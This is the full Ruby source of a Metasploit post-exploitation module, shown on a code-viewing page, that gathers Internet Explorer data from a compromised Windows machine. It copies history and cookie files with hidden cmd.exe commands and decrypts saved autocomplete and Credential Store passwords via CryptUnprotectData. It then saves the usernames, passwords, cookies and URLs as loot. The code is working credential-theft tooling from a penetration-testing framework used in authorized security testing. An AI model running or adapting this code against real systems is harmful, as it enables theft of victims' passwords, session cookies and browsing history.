Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/enum_ie.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::Registry89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather Internet Explorer User Data Enumeration',14'Description' => %q{15This module will collect history, cookies, and credentials (from either HTTP16auth passwords, or saved form passwords found in auto-complete) in17Internet Explorer. The ability to gather credentials is only supported18for versions of IE >=7, while history and cookies can be extracted for all19versions.20},21'License' => MSF_LICENSE,22'Platform' => ['win'],23'SessionTypes' => ['meterpreter'],24'Author' => ['Kx499'],25'Compat' => {26'Meterpreter' => {27'Commands' => %w[28core_channel_eof29core_channel_open30core_channel_read31core_channel_write32stdapi_fs_stat33stdapi_railgun_api34stdapi_sys_config_getenv35stdapi_sys_config_sysinfo36stdapi_sys_process_attach37stdapi_sys_process_execute38stdapi_sys_process_get_processes39stdapi_sys_process_memory_allocate40stdapi_sys_process_memory_read41stdapi_sys_process_memory_write42]43}44}45)46)47end4849#50# RAILGUN HELPER FUNCTIONS51#52def is_8653pid = session.sys.process.open.pid54return session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'55end5657def pack_add(data)58if is_8659addr = [data].pack('V')60else61addr = [data].pack('Q<')62end63return addr64end6566def mem_write(data, length)67pid = session.sys.process.open.pid68process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)69mem = process.memory.allocate(length)70process.memory.write(mem, data)71return mem72end7374def read_str(address, len, type)75begin76pid = session.sys.process.open.pid77process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)78raw = process.memory.read(address, len)79if type == 0 # unicode80str_data = raw.gsub("\x00", '')81elsif type == 1 # null terminated82str_data = raw.unpack('Z*')[0]83elsif type == 2 # raw data84str_data = raw85end86rescue StandardError87str_data = nil88end89return str_data || 'Error Decrypting'90end9192#93# DECRYPT FUNCTIONS94#95def decrypt_reg(entropy, data)96c32 = session.railgun.crypt3297# set up entropy98salt = []99entropy.each_byte do |c|100salt << c101end102ent = salt.pack('v*')103104# save values to memory and pack addresses105mem = mem_write(data, 1024)106mem2 = mem_write(ent, 1024)107addr = pack_add(mem)108len = pack_add(data.length)109eaddr = pack_add(mem2)110elen = pack_add((entropy.length + 1) * 2)111112# cal railgun to decrypt113if is_86114ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 1, 8)115len, add = ret['pDataOut'].unpack('V2')116else117ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 1, 16)118len, add = ret['pDataOut'].unpack('Q2')119end120121return '' unless ret['return']122123return read_str(add, len, 2)124end125126def decrypt_cred(daddr, dlen)127c32 = session.railgun.crypt32128# set up entropy129guid = 'abe2869f-9b47-4cd9-a358-c22904dba7f7'130ent_sz = 74131salt = []132guid.each_byte do |c|133salt << c * 4134end135ent = salt.pack('v*')136137# write entropy to memory and pack addresses138mem = mem_write(ent, 1024)139addr = pack_add(daddr)140len = pack_add(dlen)141eaddr = pack_add(mem)142elen = pack_add(ent_sz)143144# prep vars and call function145if is_86146ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 8)147len, add = ret['pDataOut'].unpack('V2')148else149ret = c32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 16)150len, add = ret['pDataOut'].unpack('Q<2')151end152153# get data, and return it154return '' unless ret['return']155156return read_str(add, len, 0)157end158159#160# Extract IE Data Functions161#162def get_stuff(path, history)163t = DateTime.new(1601, 1, 1, 0, 0, 0)164tmpout = ''165if history166re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x56\x69\x73\x69\x74\x65\x64\x3A.*?\x40(.*?)\x00/m167else # get cookies168re = /\x55\x52\x4C\x20.{4}(.{8})(.{8}).*?\x43\x6F\x6F\x6B\x69\x65\x3A(.*?)\x00/m169end170171outfile = session.fs.file.new(path, 'rb')172until outfile.eof?173begin174tmpout << outfile.read175rescue StandardError176nil177end178end179outfile.close180181urls = tmpout.scan(re)182urls.each do |url|183# date modified184hist = {}185origh = url[0].unpack('H*')[0]186harr = origh.scan(/[0-9A-Fa-f]{2}/).map(&:to_s)187newh = harr.reverse.join188hfloat = newh.hex.to_f189sec = hfloat / 10000000190days = sec / 86400191timestamp = t + days192hist['dtmod'] = timestamp.to_s193194# date accessed195origh = url[1].unpack('H*')[0]196harr = origh.scan(/[0-9A-Fa-f]{2}/).map(&:to_s)197newh = harr.reverse.join198hfloat = newh.hex.to_f199sec = hfloat / 10000000200days = sec / 86400201timestamp = t + days202hist['dtacc'] = timestamp.to_s203hist['url'] = url[2]204if history205@hist_col << hist206@hist_table << [hist['dtmod'], hist['dtacc'], hist['url']]207else208@cook_table << [hist['dtmod'], hist['dtacc'], hist['url']]209end210end211end212213def hash_url(url)214rg_advapi = session.railgun.advapi32215tail = 0216prov = 'Microsoft Enhanced Cryptographic Provider v1.0'217flag = 0xF0000000218context = rg_advapi.CryptAcquireContextW(4, nil, prov, 1, 0xF0000000)219h = rg_advapi.CryptCreateHash(context['phProv'], 32772, 0, 0, 4)220hdata = rg_advapi.CryptHashData(h['phHash'], url, (url.length + 1) * 2, 0)221hparam = rg_advapi.CryptGetHashParam(h['phHash'], 2, 20, 20, 0)222hval_arr = hparam['pbData'].unpack('C*')223hval = hparam['pbData'].unpack('H*')[0]224rg_advapi.CryptDestroyHash(h['phHash'])225rg_advapi.CryptReleaseContext(context['phProv'], 0)226tail = hval_arr.inject(0) { |s, v| s += v }227htail = ('%02x' % tail)[-2, 2]228return "#{hval}#{htail}"229end230231def run232# check for meterpreter and version of ie233if (session.type != 'meterpreter') && session.platform !~ (/win/)234print_error('This module only works with Windows Meterpreter sessions')235return 0236end237238# get version of ie and check it239ver = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Internet Explorer', 'Version')240print_status("IE Version: #{ver}")241if ver =~ /(6\.|5\.)/242print_error('This module will only extract credentials for >= IE7')243end244245# setup tables246@hist_table = Rex::Text::Table.new(247'Header' => 'History data',248'Indent' => 1,249'Columns' => ['Date Modified', 'Date Accessed', 'Url']250)251252@cook_table = Rex::Text::Table.new(253'Header' => 'Cookies data',254'Indent' => 1,255'Columns' => ['Date Modified', 'Date Accessed', 'Url']256)257258cred_table = Rex::Text::Table.new(259'Header' => 'Credential data',260'Indent' => 1,261'Columns' => ['Type', 'Url', 'User', 'Pass']262)263264# set up vars265host = session.sys.config.sysinfo266@hist_col = []267268# set paths269regpath = 'HKCU\\Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2'270vist_h = '\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat'271vist_hlow = '\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\index.dat'272xp_h = '\\Local Settings\\History\\History.IE5\\index.dat'273vist_c = '\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat'274vist_clow = '\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\index.dat'275xp_c = '\\Cookies\\index.dat'276h_paths = []277c_paths = []278base = session.sys.config.getenv('USERPROFILE')279if host['OS'] =~ /(Windows 7|2008|Vista)/280h_paths << base + vist_h281h_paths << base + vist_hlow282c_paths << base + vist_c283c_paths << base + vist_clow284else285h_paths << base + xp_h286c_paths << base + xp_c287end288289# Get history and cookies290print_status('Retrieving history.....')291h_paths.each do |hpath|292next unless session.fs.file.exist?(hpath)293294print_line("\tFile: #{hpath}")295# copy file296cmd = "cmd.exe /c type \"#{hpath}\" > \"#{base}\\index.dat\""297r = session.sys.process.execute(cmd, nil, { 'Hidden' => true })298299# loop until cmd is done300# while session.sys.process.each_process.find { |i| i["pid"] == r.pid}301# end302sleep(1)303304# get stuff and delete305get_stuff("#{base}\\index.dat", true)306cmd = "cmd.exe /c del \"#{base}\\index.dat\""307session.sys.process.execute(cmd, nil, { 'Hidden' => true })308end309310print_status('Retrieving cookies.....')311c_paths.each do |cpath|312next unless session.fs.file.exist?(cpath)313314print_line("\tFile: #{cpath}")315# copy file316cmd = "cmd.exe /c type \"#{cpath}\" > \"#{base}\\index.dat\""317r = session.sys.process.execute(cmd, nil, { 'Hidden' => true })318319# loop until cmd is done320# while session.sys.process.each_process.find { |i| i["pid"] == r.pid}321# end322sleep(1)323324# get stuff and delete325get_stuff("#{base}\\index.dat", false)326cmd = "cmd.exe /c del \"#{base}\\index.dat\""327session.sys.process.execute(cmd, nil, { 'Hidden' => true })328end329330# get autocomplete creds331print_status('Looping through history to find autocomplete data....')332val_arr = registry_enumvals(regpath)333if val_arr334@hist_col.each do |hitem|335url = hitem['url'].split('?')[0].downcase336hash = hash_url(url).upcase337next unless val_arr.include?(hash)338339data = registry_getvaldata(regpath, hash)340dec = decrypt_reg(url, data)341342# If CryptUnprotectData fails, decrypt_reg() will return "", and unpack() will end up343# returning an array of nils. If this happens, we can cause an "undefined method344# `+' for NilClass." when we try to calculate the offset, and this causes the module to die.345next if dec.empty?346347# decode data and add to creds array348header = dec.unpack('VVVVVV')349350offset = header[0] + header[1] # offset to start of data351cnt = header[5] / 2 # of username/password combinations352secrets = dec[offset, dec.length - (offset + 1)].split("\x00\x00")353for i in (0..cnt).step(2)354cred = {}355cred['type'] = 'Auto Complete'356cred['url'] = url357cred['user'] = secrets[i].gsub("\x00", '')358cred['pass'] = secrets[i + 1].gsub("\x00", '') unless secrets[i + 1].nil?359cred_table << [cred['type'], cred['url'], cred['user'], cred['pass']]360end361end362else363print_error('No autocomplete entries found in registry')364end365366# get creds from credential store367print_status('Looking in the Credential Store for HTTP Authentication Creds...')368# get data from credential store369ret = session.railgun.advapi32.CredEnumerateA(nil, 0, 4, 4)370p_to_arr = ret['Credentials'].unpack('V')371arr_len = ret['Count'] * 4 if is_86372arr_len = ret['Count'] * 8 unless is_86373374# read array of addresses as pointers to each structure375raw = read_str(p_to_arr[0], arr_len, 2)376pcred_array = raw.unpack('V*') if is_86377pcred_array = raw.unpack('Q<*') unless is_86378379# loop through the addresses and read each credential structure380pcred_array.each do |pcred|381raw = read_str(pcred, 52, 2)382cred_struct = raw.unpack('VVVVQ<VVVVVVV') if is_86383cred_struct = raw.unpack('VVQ<Q<Q<Q<Q<VVQ<Q<Q<') unless is_86384385location = read_str(cred_struct[2], 512, 1)386next unless location.include? 'Microsoft_WinInet'387388decrypted = decrypt_cred(cred_struct[6], cred_struct[5])389cred = {}390cred['type'] = 'Credential Store'391cred['url'] = location.gsub('Microsoft_WinInet_', '')392cred['user'] = decrypted.split(':')[0] || 'No Data'393cred['pass'] = decrypted.split(':')[1] || 'No Data'394cred_table << [cred['type'], cred['url'], cred['user'], cred['pass']]395end396397# store data in loot398if !@hist_table.rows.empty?399print_status('Writing history to loot...')400path = store_loot(401'ie.history',402'text/plain',403session,404@hist_table,405'ie_history.txt',406'Internet Explorer Browsing History'407)408print_good("Data saved in: #{path}")409end410411if !@cook_table.rows.empty?412print_status('Writing cookies to loot...')413path = store_loot(414'ie.cookies',415'text/plain',416session,417@cook_table,418'ie_cookies.txt',419'Internet Explorer Cookies'420)421print_good("Data saved in: #{path}")422end423424if !cred_table.rows.empty?425print_status('Writing gathered credentials to loot...')426path = store_loot(427'ie.user.creds',428'text/plain',429session,430cred_table,431'ie_creds.txt',432'Internet Explorer User Credentials'433)434435print_good("Data saved in: #{path}")436# print creds437print_line('')438print_line(cred_table.to_s)439end440end441end442443444